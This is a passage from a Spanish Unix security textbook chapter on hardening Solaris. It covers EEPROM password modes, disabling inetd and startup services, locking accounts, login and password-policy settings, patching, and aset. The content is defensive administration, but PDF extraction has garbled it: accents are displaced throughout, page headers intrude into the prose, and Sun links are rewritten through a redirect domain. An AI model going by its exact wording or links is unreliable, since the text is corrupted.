http://docs.sun.com/, o consultar los o BluePrints que la compa˜´ publica peri´dicamente en http://www.sun.com/blueprints/. Exis- nıa o ten adem´s numerosas publicaciones relacionadas con diversos aspectos de Solaris: por ejemplo, de a su seguridad se habla en [Gre99], y de su dise˜o interno en [MM00]; sus aspectos gen´ricos de uso n e o administraci´n se pueden consultar en cualquier libro de Unix, aunque en muchas ocasiones uno o se pregunta si vale la pena realmente comprar algunos libros cuando en Internet tenemos a nuestra disposici´n cientos y cientos de hojas de magn´ o ıfica documentaci´n sobre Solaris. o Tal y como se instala por defecto, Solaris – como la mayor´ de operativos – no es un sistema ıa especialmente seguro; es necesario dedicar un m´ ınimo de tiempo a retocar y personalizar algunos aspectos de su configuraci´n: tras estos peque˜os detalles, un servidor puede pasar a trabajar di- o n rectamente en explotaci´n con un nivel de seguridad m´s que aceptable. En este cap´ o a ıtulo vamos a hablar de aspectos de configuraci´n, de software, de procedimientos de trabajo. . . aplicables en o Solaris; aunque evidentemente los aspectos de los que hemos venido hablando durante todo el tra- bajo se pueden – y deben – aplicar en este sistema operativo, aqu´ entraremos algo m´s a fondo en ı a 1 Realmente, existi´ un entorno llamado Solaris 1.x, que no era m´s que alguna versi´n de SunOS 4 acompa˜ ada o a o n de OpenWindows 3.0 ([Dik99]).
- 158. 140 CAP´ ITULO 9. SOLARIS algunos aspectos particulares de Solaris. 9.2 Seguridad f´ ısica en SPARC Los mecanismos de seguridad de m´s bajo nivel que ofrece Solaris sobre estaciones y servidores a sparc son los que estos implantan en su eeprom, una memoria RAM no vol´til (NVRAM, Non– a volatile RAM) a la que se puede acceder pulsando las teclas ‘Stop–A’ (teclados Sun) o ‘Ctrl–Break’ (terminales serie). Esta memoria, tambi´n denominada OpenBoot PROM o simplemente obp es e en muchos aspectos similar a la bios de un simple PC, pero mucho m´s potente y flexible; sus a funciones son verificar el estado del hardware e inicializarlo (ofreciendo para ello una amplica gama de herramientas empotradas), y por supuesto arrancar el sistema operativo. Como antes hemos dicho, cualquiera con acceso f´ ısico a una m´quina sparc puede interactuar a con su nvram sin m´s que pulsar la combinaci´n de teclas ‘Stop–A’; sin importar el estado en que a o se encuentre el sistema, autom´ticamente se detendr´n todos los procesos en ejecuci´n y se mostrar´ a a o a en consola el prompt ‘ok ’, que indica que podemos comenzar a teclear ´rdenes de la obp. La o m´quina no pierde en ning´n momento su estado a no ser que expl´ a u ıcitamente la detengamos: al salir de la obp podemos continuar la ejecuci´n de todos los procesos que ten´ o ıamos al entrar, desde el mismo punto en que los detuvimos y con el mismo entorno que pose´ ıan, pero mientras estemos interactuando con la eeprom ning´n proceso avanzar´ en su ejecuci´n. u a o Al interactuar con la eeprom, cualquier persona2 puede interrumpir al operativo y rearrancarlo desde un disco, un CD–ROM, o un sistema remoto, lo que evidentemente le proporciona un control total sobre el sistema; podemos deshabilitar la funci´n de las teclas ‘Stop–A’ mediante la directiva o del kernel ‘abort enable’ en el fichero /etc/system, o – lo que suele ser m´s util – proteger a ´ mediante contrase˜a el reinicio de una m´quina desde su memoria nvram. Para ello, las m´quinas n a a sparc ofrecen tres niveles de seguridad: ‘none-secure’, ‘command-secure’, y ‘full-secure’. El primero de ellos, ‘none-secure’ es el que est´ habilitado por defecto, y como su nombre indica a no ofrece ning´n tipo de seguridad: cualquiera que pulse ‘Stop–A’ desde la consola del sistema3 u obtiene un acceso total a la eeprom sin necesidad de conocer ning´n tipo de contrase˜a y puede u n reiniciar la m´quina de la forma que le plazca. a Los dos modos siguientes son los que ofrecen un nivel de seguridad algo superior; si activamos ‘command-secure’ ser´ necesaria una clave para reiniciar el sistema de cualquier dispositivo que a no sea el utilizado por defecto (que generalmente ser´ el disco, disk), y si elegimos ‘full-secure’ a la contrase˜a es obligatoria independientemente del dispositivo elegido para arrancar. En cualquier n caso, esta clave es diferente de la utilizada para acceder a Solaris como superusuario; si olvidamos la contrase˜a de la eeprom pero tenemos acceso root a la m´quina podemos usar desde l´ n a ınea de o ´rdenes el comando ‘eeprom’ para modificar (o consultar) cualquier par´metro de la nvram, pass- a words incluidos. Si hemos perdido la contrase˜a de la eeprom y no podemos arrancar la m´quina, n a es muy posible que necesitemos sustituir nuestra memoria nvram por una nueva, por lo que hemos de tener cuidado con las claves que utilicemos para proteger la obp; por supuesto, si utilizamos el modo ‘full-secure’ podemos ir olvid´ndonos de reinicios programados del sistema sin un oper- a ador que teclee el password en consola: la seguridad en muchas ocasiones no es del todo compatible con la comodidad o la funcionalidad. Como hemos adelantado, para consultar o modificar el modo en el que se encuentra nuestra memo- ria nvram podemos ejecutar la orden ‘eeprom’; en nuestro caso queremos conocer el estado de la variable ‘security-mode’, por lo que desde una l´ ınea de comandos teclear´ ıamos lo siguiente: marta:/# eeprom security-mode security-mode=none marta:/# 2 Recordemos, con acceso f´ ısico a la m´quina. a 3 Si no se ha deshabilitado en /etc/system.
- 159. 9.2. SEGURIDAD F´ ISICA EN SPARC 141 Podemos ver que en este caso nuestra m´quina no tiene habilitado ning´n tipo de seguridad; si a u quisi´ramos habilitar el modo ‘command-secure’, ejecutar´ e ıamos: marta:/# eeprom security-mode security-mode=none marta:/# eeprom security-mode=command Changing PROM password: New password: Retype new password: marta:/# eeprom security-mode security-mode=command marta:/# Tambi´n es posible realizar estos cambios desde el propio prompt de la memoria nvram, mediante e la orden ‘setenv’4 : ok setenv security-mode command security-mode = command ok A partir de este momento, cuando el sistema inicie desde un dispositivo que no sea el utilizado por defecto, se solicitar´ la clave que acabamos de teclear; de forma similar podr´ a ıamos habilitar el modo ‘full-secure’. Para eliminar cualquier clave de nuestra memoria no tenemos m´s que restaurar a el modo ‘none-secure’, de la forma habitual: marta:/# eeprom security-mode=none marta:/# eeprom security-mode security-mode=none marta:/# Si en los modos ‘command-secure’ o ‘full-secure’ queremos cambiar la contrase˜a de la nvram n podemos utilizar de nuevo la orden ‘eeprom’, esta vez con el par´metro ‘security-password’: a marta:/# eeprom security-password= Changing PROM password: New password: Retype new password: marta:/# eeprom security-password security-password= data not available. marta:/# Como podemos ver, al consultar el valor de la variable, este nunca se muestra en pantalla. El tercer y ultimo par´metro relacionado con la seguridad de la memoria eeprom es ´ a ‘security-#badlogins’, que no es m´s que un contador que indica el n´mero de contrase˜as a u n incorrectas que el sistema ha recibido; podemos resetear su valor sencillamente asign´ndole ‘0’5 : a marta:/# eeprom security-#badlogins security-#badlogins=4 marta:/# eeprom security-#badlogins=0 marta:/# eeprom security-#badlogins security-#badlogins=0 marta:/# Antes de finalizar este punto quiz´s sea necesario recordar que los par´metros de seguridad de la a a memoria eeprom que acabamos de ver s´lo existen en m´quinas sparc; aunque en la versi´n de o a o Solaris para arquitecturas Intel tambi´n existe una orden denominada ‘eeprom’ que nos mostrar´ e a 4 Esta orden corresponde a la OpenBoot PROM; no hay que confundirla con el comando del mismo nombre que poseen algunos shells. 5 En ciertas versiones de SunOS – no Solaris – tambi´n se pod´ resetear este contador pas´ndole como par´metro e ıa a a ‘reset’.
- 160. 142 CAP´ ITULO 9. SOLARIS los valores de ciertos par´metros si la ejecutamos, unicamente se trata de una simulaci´n llevada a ´ o a cabo en un fichero de texto denominado ‘bootenv.rc’. Es posible dar valor a las variables que hemos visto, pero no tienen ning´n efecto en m´quinas Intel ya que estas se suelen proteger en el u a arranque mediante contrase˜as en la BIOS, como veremos al hablar de Linux. n 9.3 Servicios de red Probablemente el primer aspecto relacionado con la seguridad al que debemos prestar atenci´n o en un sistema Solaris es a los servicios ofrecidos desde inetd; con la instalaci´n out of the box el o n´mero de puertos a la escucha es realmente elevado, y muchos de ellos son servidos desde inetd u (despu´s hablaremos de los servicios que se inician al arrancar el sistema). Aparte de los servicios e cl´sicos (telnet, finger. . . ) que – como en el resto de Unices – es imprescindible deshabilitar, en a Solaris encontramos algunas entradas de /etc/inetd.conf algo m´s extra˜as, que en muchos casos a n no sabemos si podemos eliminar (o comentar) si que ello afecte al funcionamiento de la m´quina: a se trata de ciertos servicios basados en rpc, como cmsd o sprayd. En casi todos los servidores podemos deshabilitar estos servicios sin mayores problemas, pero evidentemente tomando ciertas precauciones: es necesario conocer cu´l es la funci´n y las implicaciones de seguridad de cada uno a o de ellos; en [Fly00a] (especialmente en la segunda parte del art´ ıculo) se puede encontrar una refer- encia r´pida de la funci´n de algunos de estos servicios ‘extra˜os’, as´ como notas con respecto a a o n ı su seguridad. Realmente, de todos los servicios ofrecidos por inetd ninguno es estrictamente necesario, aunque por supuesto alguno de ellos nos puede resultar muy util: lo normal es que al menos telnet y ftp ´ se dejen abiertos para efectuar administraci´n remota. No obstante, algo muy recomendable es o sustituir ambos por ssh, que permite tanto la terminal remota como la transferencia de archivos de forma cifrada; si nos limitamos a este servicio y lo ofrecemos desde inetd, esta ser´ la unica a ´ entrada no comentada en /etc/inetd.conf: anita:/# grep -v ^# /etc/inetd.conf ssh stream tcp nowait root /usr/local/sbin/sshd sshd -i anita:/# Otros de los servicios que Solaris ofrece tras su instalaci´n son servidos por demonios independien- o tes que se lanzan en el arranque del sistema desde scripts situados en /etc/init.d/ y enlazados desde /etc/rc2.d/ y /etc/rc3.d/; al igual que suced´ con los servidos desde inetd, muchos de ıa estos servicios no son necesarios para un correcto funcionamiento del sistema, y algunos de ellos hist´ricamente han presentado – y siguen presentando – graves problemas de seguridad. No vamos o a entrar aqu´ en cu´les de estos servicios son necesarios y cu´les no, ya que eso depende por com- ı a a pleto del tipo de sistema sobre el que estemos trabajando; es necesario conocer las implicaciones de seguridad que algunos de los demonios lanzados en el arranque presentan, y para ello una buena introducci´n es [Fly00b]. o Al arrancar una m´quina Solaris, por defecto el proceso init situa al sistema en su runlevel 3, lo a cual implica que – entre otras acciones – se invoca a /sbin/rc2 y /sbin/rc3; estos dos shellscripts se encargan de recorrer los directorios /etc/rc2.d/ y /etc/rc3.d/, ejecutando cualquier fichero cuyo nombre comience por ‘S’. De esta forma, para evitar que un determinado script se ejecute autom´ticamente al arrancar una m´quina lo m´s recomendable es ir directamente a /etc/rc2.d/ a a a o /etc/rc3.d/ y sustituir la ‘S’ inicial de su nombre por otro car´cter; esta pr´ctica suele ser a a m´s habitual que eliminar el fichero directamente, ya que as´ conseguimos que si es necesario lanzar a ı de nuevo el script al arrancar Solaris no tengamos m´s que cambiarle de nuevo el nombre. Por a ejemplo, si queremos que el demonio sendmail no se lance en el arranque, no tenemos m´s que ir al a directorio correspondiente y renombrar el script que lo invoca; aparte de eso, es probable que nos interese detenerlo en ese momento, sin esperar al pr´ximo reinicio del sistema: o anita:/# cd /etc/rc2.d/ anita:/etc/rc2.d# mv S88sendmail disabled.S88sendmail anita:/etc/rc2.d# ./disabled.S88sendmail stop anita:/etc/rc2.d#
- 161. 9.4. USUARIOS Y ACCESOS AL SISTEMA 143 Podemos ver que para detener el demonio hemos invocado al mismo fichero que lo arranca, pero pas´ndole como par´metro ‘stop’; si quisi´ramos relanzar sendmail, no tendr´ a a e ıamos m´s que volver a a ejecutar el script pero pas´ndole como argumento ‘start’. a 9.4 Usuarios y accesos al sistema Durante la instalaci´n de Solaris se crean en /etc/passwd una serie de entradas correspondientes o a usuarios considerados ‘del sistema’ (adm, bin, nobody. . . ); ninguno de estos usuarios tiene por qu´ acceder a la m´quina, de forma que una buena pol´ e a ıtica es bloquear sus cuentas. Podemos comprobar qu´ usuarios tienen el acceso bloqueado consultando el estado de su contrase˜a: si es e n ‘lk’ (locked), la cuenta est´ bloqueada: a anita:/# passwd -s -a|grep LK daemon LK bin LK sys LK adm LK lp LK uucp LK nuucp LK listen LK nobody LK noaccess LK nobody4 LK anita:/# Podemos bloquear una cuenta de acceso a la m´quina mediante ‘passwd -l’, de la forma siguiente: a anita:/# passwd -s toni toni PS 06/15/01 7 7 anita:/# passwd -l toni anita:/# passwd -s toni toni LK 06/27/01 7 7 anita:/# A pesar de su estado, las cuentas bloqueadas son accesibles si ejecutamos la orden ‘su’ como admi- nistradores, por lo que si estamos bastante preocupados por nuestra seguridad podemos asignarles un shell que no permita la ejecuci´n de ´rdenes, como /bin/false6 : o o anita:/# su - adm $ id uid=4(adm) gid=4(adm) $ ^d anita:/# passwd -e adm Old shell: /bin/sh New shell: /bin/false anita:/# su - adm anita:/# id uid=0(root) gid=1(other) anita:/# Si realmente somos paranoicos, de la lista de usuarios que hemos visto antes incluso nos podemos permitir el lujo de eliminar a nobody4, ya que se trata de una entrada que existe para proporcionar cierta compatibilidad entre Solaris y SunOS que actualmente apenas se usa. No obstante, much´ ısimo m´s importante que esto es eliminar o bloquear a cualquier usuario sin contrase˜a en el sistema; a n es recomendable comprobar de forma peri´dica que estos usuarios no existen, para lo cual tambi´n o e podemos utilizar ‘passwd -s -a’ y vigilar las claves cuyo estado sea ‘NP’ (No Password): 6 Por supuesto, teniendo en cuenta que si alguien es root no va a tener problemas para convertirse en otro usuario, sin importar el shell que este ultimo tenga. ´
- 162. 144 CAP´ ITULO 9. SOLARIS anita:/# passwd -s -a|grep NP prueba NP anita:/# passwd -l prueba anita:/# Tras estas medidas de seguridad iniciales, lo m´s probable es que en nuestro sistema comencemos a a dar de alta usuarios reales; sin duda, lo primero que estos usuarios tratar´n de hacer es conectar a remotamente v´ telnet: ıa rosita:~$ telnet anita Trying 192.168.0.3... Connected to anita. Escape character is ’^]’. SunOS 5.8 login: toni Password: Last login: Fri Jun 22 10:45:14 from luisa anita:~$ A estas alturas ya debemos saber que es una locura utilizar telnet para nuestras conexiones remotas por el peligro que implica el tr´fico de contrase˜as en texto claro, por lo que debemos a n obligatoriamente utilizar ssh o similar. Si de cualquier forma no tenemos m´s remedio que a permitir telnet (no encuentro ning´n motivo para ello, y personalmente dudo que los haya. . . ), u quiz´s nos interese modificar el banner de bienvenida al sistema, donde se muestra claramente que la a m´quina tiene instalada una versi´n concreta de Solaris: esto es algo que puede ayudar a un pirata a o que busque informaci´n de nuestro sistema. Para cambiar el mensaje podemos crear el archivo o /etc/default/telnetd, en el que la entrada ‘banner’ especifica dicho mensaje: anita:/# cat /etc/default/telnetd BANNER="nHP-UX anita A.09.05 E 9000/735 (ttyv4)nn" anita:/# telnet 0 Trying 0.0.0.0... Connected to 0. Escape character is ’^]’. HP-UX anita A.09.05 E 9000/735 (ttyv4) login: Algo similar se puede hacer con el fichero /etc/default/ftpd para el servicio de ftp, aunque de nuevo dudo que haya alg´n motivo para mantenerlo abierto; estos mensajes evidentemente no van u a evitar que alguien pueda obtener datos sobre el sistema operativo que se ejecuta en una m´quina a (veremos al hablar del sistema de red en Solaris como conseguir esto), pero al menos no le dejar´n a esa informaci´n en bandeja. o Siguiendo con las conexiones remotas a un sistema, uno de los aspectos que nos puede llamar la atenci´n si estamos comenzando a trabajar con Solaris es que el usuario root s´lo puede conectar o o desde la propia consola de la m´quina; si lo intenta de forma remota, se le negar´ el acceso: a a luisa:~$ telnet anita Trying 192.168.0.3... Connected to anita. Escape character is ’^]’. login: root
- 163. 9.4. USUARIOS Y ACCESOS AL SISTEMA 145 Password: Not on system console Connection closed by foreign host. luisa:~$ Esto es debido a que el par´metro ‘console’ tiene como valor dicha consola (/dev/console) en a el fichero /etc/default/login; para trabajar como superusuario de forma remota es necesario acceder al sistema como un usuario sin privilegios y despu´s ejecutar el comando su. Esta forma e de trabajo suele ser la m´s recomendable, ya que ofrece un equilibrio aceptable entre seguridad a y funcionalidad; no obstante, si nos interesara que root pudiera conectar directamente de forma remota (no suele ser recomendable), podr´ıamos comentar la entrada ‘console’ en el fichero anterior, mediante una almohadilla (‘#’). Si por el contrario queremos que el administrador no pueda conectar al sistema ni desde la propia consola, y s´lo se puedan alcanzar privilegios de superusuario o mediante la ejecuci´n de su, podemos dejar la entrada correspondiente a ‘console’ en blanco: o anita:/# grep -i console /etc/default/login # If CONSOLE is set, root can only login on that device. CONSOLE= anita:/# En el fichero anterior (/etc/default/login) existen otros par´metros interesantes de cara a in- a crementar nuestra seguridad. Por ejemplo, el par´metro ‘timeout’ indica el n´mero de segundos a u (entre 0 y 900) que han de pasar desde que la m´quina solicita el login al conectar remotamente a hasta que se cierra la conexi´n si el usuario no lo teclea; esto nos puede ayudar a evitar ciertos o ataques de negaci´n de servicio, pero puede ser un problema si tenemos usuarios que conecten a o trav´s de l´ e ıneas de comunicaci´n lentas o muy saturadas, ya que con un timeout excesivamente o bajo es posible que antes de que el usuario vea en su terminal el banner que le solicita su login la conexi´n llegue a cerrarse. o Relacionada en cierta forma con el par´metro anterior, y tambi´n dentro del archivo a e /etc/default/login, la entrada ‘sleeptime’ permite indicar el n´mero de segundos – entre 0 y 5 u – que han de transcurrir desde que se teclea una contrase˜a err´nea y el mensaje login incorrect n o aparece en pantalla. Con ‘retries’ podemos especificar el n´mero de intentos de entrada al sis- u tema que se pueden producir hasta que un proceso de login finalice y la conexi´n remota asociada o se cierre: en otras palabras, indicamos el n´mero de veces que un usuario puede equivocarse al u teclear su clave antes de que el sistema cierre su conexi´n. o Otra directiva interesante de /etc/default/login es ‘passreq’: si su valor es ‘yes’, ning´n u usuario podr´ conectar al sistema sin contrase˜a, y si es ‘no’, s´ que se permiten este tipo de en- a n ı tradas. Evidentemente, el valor recomendable es el primero, aunque el incremento que conseguimos en nuestra seguridad no es excesivo y s´lo se puede encontrar util en circunstancias muy concretas, o ´ ya que a los usuarios que no tengan contrase˜a simplemente se les obligar´ a elegir un password al n a intentar entrar al sistema: anita:~$ telnet 0 Trying 0.0.0.0... Connected to 0. Escape character is ’^]’. login: prueba Choose a new password. New password: Si realmente queremos asegurarnos de que no tenemos usuarios sin clave podemos ejecutar pe- ri´dicamente la orden ‘logins -p’, que nos mostrar´ los informaci´n acerca de los usuarios sin o a o contrase˜a en la m´quina; si su salida es no vac´ tenemos un grave problema de seguridad: n a ıa, anita:/# logins -p prueba 107 staff 10 Usuari en proves
- 164. 146 CAP´ ITULO 9. SOLARIS anita:/# passwd prueba New password: Re-enter new password: passwd (SYSTEM): passwd successfully changed for prueba anita:/# logins -p anita:/# Para finalizar con /etc/default/login, vamos a hablar de un par de entradas en el fichero rela- cionadas con la auditor´ de los accesos al sistema: el par´metro ‘syslog’ con un valor ‘yes’ ıa a determina si se han de registrar mediante syslog los accesos al sistema como root, as´ como los ı intentos de login fallidos, y el par´metro ‘syslog failed logins’ indica el n´mero de intentos de a u entrada fallidos que se han de producir antes de emitir un mensaje de error; es recomendable que esta segunda variable tenga un valor ‘0’, que implica que syslog registrar´ todos los intentos a fallidos de login: anita:/# grep -i ^syslog /etc/default/login SYSLOG=YES SYSLOG_FAILED_LOGINS=0 anita:/# Otro archivo interesante de cara a incrementar aspectos de la seguridad relacionados con los u- suarios de nuestro sistema es /etc/default/passwd, donde se pueden definir par´metros para a reforzar nuestra pol´ ıtica de contrase˜as; por ejemplo, podemos definir una longitud m´ n ınima para los passwords de los usuarios d´ndole un valor a la variable ‘passlength’: a anita:/# grep -i passlength /etc/default/passwd PASSLENGTH=8 anita:/# Por defecto, la longitud m´ınima de una clave es de seis caracteres; si le asignamos a ‘passlength’ un valor menor (algo poco recomendable de cualquier forma), el sistema simplemente lo ignorar´ a y obligar´ a los usuarios a utilizar passwords de seis o m´s caracteres. Adem´s, sea cual sea la a a a longitud de las claves que definamos, debemos tener siempre en cuenta que Solaris s´lo interpetar´ o a los ocho primeros caracteres de cada contrase˜a; el resto son ignorados, por lo que dos pass- n words cuyos ocho primeros caracteres sean iguales ser´n equivalentes por completo para el modelo a de autenticaci´n. o Una contrase˜a en Solaris debe poseer al menos dos letras (may´sculas o min´sculas) y al menos n u u un n´mero o car´cter especial. Tampoco debe coincidir con el nombre de usuario, ni con rotaciones u a del mismo (por ejemplo el usuario ‘antonio’ no podr´ utilizar como clave ‘antonio’, ‘ntonioa’, a ‘oinotna’, etc.), y debe diferir del password anterior en al menos tres caracteres; para cualquiera de estos efectos comparativos, las letras may´sculas y las min´sculas son equivalentes. S´lo el root u u o puede adjudicar contrase˜as que no cumplan las normas establecidas, pero a efectos de seguridad n es recomendable que las claves que asigne tengan tantas restricciones como las que pueden escojer los usuarios (o m´s). a Volviendo de nuevo a /etc/default/passwd, dentro de este archivo tenemos un par de entradas utiles para establecer una pol´ ´ ıtica de envejecimiento de claves en nuestro sistema; se trata de ‘maxweeks’ y ‘minweeks’, que como sus nombres indican definen los tiempos de vida m´ximo ya m´ınimo (en semanas) de una contrase˜a. Un tercer par´metro, ‘warnweeks’, define el periodo de n a tiempo (de nuevo, en semanas) a partir del cual se avisar´ a un usuario de que su password est´ a a a punto de caducar; dicho aviso se produce cuando el usuario inicia una sesi´n: o rosita:~$ telnet anita Trying 192.168.0.3... Connected to anita. Escape character is ’^]’. login: toni
- 165. 9.5. EL SISTEMA DE PARCHEADO 147 Password: Your password will expire in 5 days. Last login: Sun Jun 24 03:10:49 from rosita anita:~$ Como no todo va a ser hablar bien de Unix a cualquier precio (aunque Solaris tiene muchos aspectos para hablar bien del operativo), podemos hacer un par de cr´ ıticas a mecanismos relacionados con las contrase˜as en Solaris. En primer lugar, quiz´s deja algo que desear la granularidad que nos n a ofrece para el envejecimiento de claves: especificar los valores m´ximo y m´ a ınimo en semanas a veces no es apropiado, y seguramente si Solaris nos permitiera indicar dichos valores en d´ podr´ ıas ıamos definir pol´ıticas m´s precisas; aunque en la mayor´ de ocasiones la especificaci´n en semanas es a ıa o m´s que suficiente, en casos concretos se echa de menos el poder indicar los d´ de vigencia de una a ıas contrase˜a. Otro aspecto que se podr´ mejorar en Solaris es la robustez de las claves: limitarse a n ıa rotaciones del nombre de usuario es en la actualidad algo pobre; un esquema como el ofrecido en AIX, donde se pueden especificar incluso diccionarios externos al operativo contra los que comparar las claves que un usuario elige, ser´ mucho m´s potente. ıa a Contra el primero de estos comentarios quiz´s se podr´ decir, en defensa de Solaris, que real- a ıa mente en /etc/shadow podemos especificar d´ en lugar de semanas, pero eso implicar´ modificar ıas ıa el archivo a mano para cada usuario, algo que no suele ser recomendable en ning´n sistema Unix, u o bien ejecutar /usr/bin/passwd con las opciones apropiadas, de nuevo para todos los usuarios en cuesti´n. Contra el segundo tambi´n se podr´ argumentar que existen utilidades de terceros o e ıa para reforzar las contrase˜as que eligen los usuarios, o bien que no es dif´ escribir un m´dulo de n ıcil o pam para evitar que esos usuarios elijan claves triviales, pero el hecho es que Sun Microsystems por defecto no incorpora ninguno de estos mecanismos en Solaris. 9.5 El sistema de parcheado Como en el resto de Unices, en Solaris un parche se define como un grupo de ficheros y directorios que reemplaza o actualiza ficheros y directorios existentes en el sistema para tratar de garantizar la ejecuci´n correcta del software ([Mic98]); con la instalaci´n de parches aumentamos – al menos o o te´ricamente – la seguridad y la disponibilidad de un sistema, y es muy recomendable seguir una o pol´ıtica de parcheado estricta, al menos en cuanto a parches de seguridad se refiere. Sun Microsystems distribuye entre sus clientes con contrato de mantenimiento los parches para Solaris y el resto de sus productos v´ CD-ROM cada pocas semanas, pero – mucho m´s r´pido ıa a a –, tambi´n los ofrece a trav´s de Internet, desde http://sunsolve.sun.com/; aunque el acceso a e e ciertos parches est´ restringido a clientes con contrato, los relativos a la seguridad de los sistemas a y los recomendados son completamente p´blicos. u Desde Sun Microsystems, cada parche es referenciado mediante un dos n´meros: un ‘patch id’, u que es el realmente el identificador del parche, y un n´mero de revisi´n del parche, separados u o ambos por un gui´n; de esta forma cuando descargamos un parche desde SunSolve y lo descom- o primimos, o cuando lo recibimos en un CD-ROM, dicho parche estar´ contenido en un directorio a cuyo nombre es justamente esa referencia: anita:/var/tmp# ls 110899-01/ README.110899-01 SUNWcsu anita:/var/tmp# Dentro del directorio anterior encontraremos generalmente un fichero donde se nos explica la utili- dad del parche, los problemas que soluciona y la forma de aplicarlo; adem´s, existir´n una serie de a a subdirectorios cuyos nombres son los paquetes de software a los que ese parche afecta directamente (es decir, de los que sustituye o actualiza directorios o archivos). Como podemos ver, en el ejemplo anterior s´lo encontramos uno de estos subdirectorios, SUNWcsu, lo que indica que el parche s´lo o o afectar´ a ficheros de ese paquete. A su vez, dentro de cada uno de los directorios que diferencian a paquetes software encontramos m´s archivos y subdirectorios que contienen realmente las versiones a actualizadas de programas, as´ como ´rdenes post–instalaci´n, descripci´n del software actualizado, ı o o o
- 166. 148 CAP´ ITULO 9. SOLARIS informaci´n sobre archivos y directorios modificados, etc. o Desde Sun Microsystems se definen cinco modelos b´sicos de parches; los standard son parches a que solucionan un problema software o hardware espec´ ıfico, por lo que si ese problema no afecta a nuestros sistemas no tenemos por qu´ instalarlos. Los parches recommended son aquellos que Sun e recomienda sea cual sea nuestro entorno para prevenir problemas en el futuro, y los security son los que resuelven problemas de seguridad; evidentemente ambos son de instalaci´n casi obligatoria. Un o cuarto tipo son los parches Y2K, que como su nombre indica son los que aseguran el cumplimiento con el a˜o 2000 en todos los productos de Sun; a no ser que trabajemos con versiones de software o n hardware antiguo, rara vez tendremos que instalar uno de estos parches, ya que los productos m´s o a menos nuevos no han de tener problemas con el a˜o 2000. Finalmente, el quinto tipo de parches son n los patch clusters; no son realmente otro modelo, sino que se trata de agrupaciones de los anteriores que se distribuyen en un unico archivo para descargarlos e instalarlos m´s c´modamente: incluyen ´ a o un script denominado ‘install cluster’ que instala en el orden adecuado todos los parches del grupo, lo que evita al administrador tener que hacerlo uno a uno. Para instalar un parche podemos utilizar la orden ‘patchadd’ en Solaris 7 o superior, o ‘installpatch’ en la versi´n 2.6 o anteriores, en ambos casos evidentemente como root del sis- o tema; suele ser recomendable, en funci´n del tipo de parche y su criticidad, situar a la m´quina en o a modo monousuario antes de aplicarlo, para evitar que actividades de los usuarios puedan interferir con el proceso de parcheado. De esta forma, si queremos aplicar el parche anterior (110899-01), los pasos a seguir ser´ los siguientes: ıan anita:/var/tmp# who -r . run-level S Jun 8 06:37 S 0 ? anita:/var/tmp# unzip 110899-01.zip anita:/var/tmp# patchadd 110899-01/ Checking installed patches... Verifying sufficient filesystem capacity (dry run method)... Installing patch packages... Patch number 110899-01 has been successfully installed. See /var/sadm/patch/110899-01/log for details Patch packages installed: SUNWcsu anita:/var/tmp# Muchos parches necesitan un reinicio del sistema para aplicarse correctamente, en especial aquellos que modifican alg´n par´metro del n´cleo de Solaris; si instalamos bloques de parches m´s o menos u a u a grandes, como los Maintenance Updates o los Recommended and Security, el reinicio es casi seguro. Para comprobar qu´ parches para el operativo tenemos instalados en una m´quina podemos utilizar e a las ´rdenes ‘showrev -p’ o ‘patchadd -p’: o anita:/# showrev -p |grep 110899-01 Patch: 110899-01 Obsoletes: Requires: Incompatibles: Packages: SUNWcsu anita:/# Es importante resaltar lo de ‘para el operativo’, ya que estas ´rdenes no muestran en ning´n caso o u los parches aplicados a la obp; adem´s, hemos de tener presente que si un parche necesita que se a reinicie el sistema, ‘showrev’ nos dir´ que est´ instalado, pero aunque la orden no muestre ning´n a a u mensaje de error, el parche no tendr´ efecto hasta el siguiente reinicio de la m´quina. Siguiendo a a con nuestro ejemplo para ver la informaci´n que se nos muestra de cada parche, podemos ver que o el parche que hemos instalado afecta al paquete SUNWcsu (algo que ya sab´ ıamos), no deja obsoletas a versiones anteriores, no necesita que est´ aplicado otro parche para poder instalarse, y tampoco e tiene incompatibilidades.
- 167. 9.6. EXTENSIONES DE LA SEGURIDAD 149 Si por cualquier motivo deseamos eliminar del sistema un parche que hemos instalado con anterio- ridad podemos usar la orden ‘patchrm’ en Solaris 7 o superior, o ‘backoutpatch’ si utilizamos versiones m´s antiguas. Esto restaurar´ el estado que pose´ el sistema – en cuanto a ficheros y a a ıa directorios – antes de aplicar el parche: anita:/# who -r . run-level S Jun 8 06:37 S 0 ? anita:/# patchadd -p|grep 110899-01 Patch: 110899-01 Obsoletes: Requires: Incompatibles: Packages: SUNWcsu anita:/# patchrm 110899-01 Checking installed patches... Backing out patch 110899-01... Patch 110899-01 has been backed out. anita:/# patchadd -p|grep 110899-01 anita:/# El hecho de poder desinstalar un parche con tanta facilidad es debido a que, si no indicamos lo contrario, cuando utilizamos ‘patchadd’ para a˜adirlo esta orden hace una copia de seguridad de n los ficheros y directorios que van a modificar o actualizar, y la guarda en /var/; podemos utilizar la opci´n ‘-d’ del comando si no queremos esta copia se genere, pero si lo hacemos hemos de tener o presente que no podremos desinstalar el parche aplicado: por tanto esto s´lo es recomendable en o los casos en los que el espacio libre en /var/ sea muy limitado y no tengamos opci´n de aumentarlo o (por ejemplo, ampliando el filesystem o simplemente borrando o comprimiendo archivos). Sun Microsystems distribuye entre sus clientes con contrato la utilidad PatchDiag, una herramienta realmente util para mantener al d´ nuestro nivel de parcheado (y con ´l, nuestra seguridad); la ´ ıa e principal funci´n de este software es determinar el nivel de parcheado de una m´quina y compara- o a rlo con la lista de parches Recommended and Security de Sun. Esta lista contiene los parches cuya instalaci´n es b´sica de cara a garantizar la seguridad o el correcto funcionamiento de los sistemas o a Solaris, y representa los parches que obligatoriamente deben estar instalados en sistemas cr´ ıticos, como los cortafuegos, si queremos que sean seguros. PatchDiag no aplica estos parches en ning´n u momento, sino que se limita unicamente a indicar cu´les son necesarios en la m´quina donde se ´ a a ejecuta. 9.6 Extensiones de la seguridad 9.6.1 aset aset (Automated Security Enhancement Tool) es un conjunto de herramientas integradas dentro de Solaris que permiten monitorizar ciertos valores de par´metros de los ficheros del sistema, desde a atributos ubicados en los inodos (permisos, propietario. . . ) hasta el contenido de cada archivo. Estas herramientas se encuentran en el directorio /usr/aset/, y su utilidad es evidente: permite detectar cualquier cambio en uno de nuestros ficheros, cambio que si no ha sido realizado por un usuario debidamente autorizado puede esconder desde un troyano hasta una puerta trasera de en- trada al sistema. De todas las utilidades de que dispone aset, la m´s importante es sin duda /usr/aset/aset, a un shellscript encargado de invocar al resto de herramientas. Desde l´ınea de comandos, este pro- grama puede recibir como par´metro el nivel de seguridad 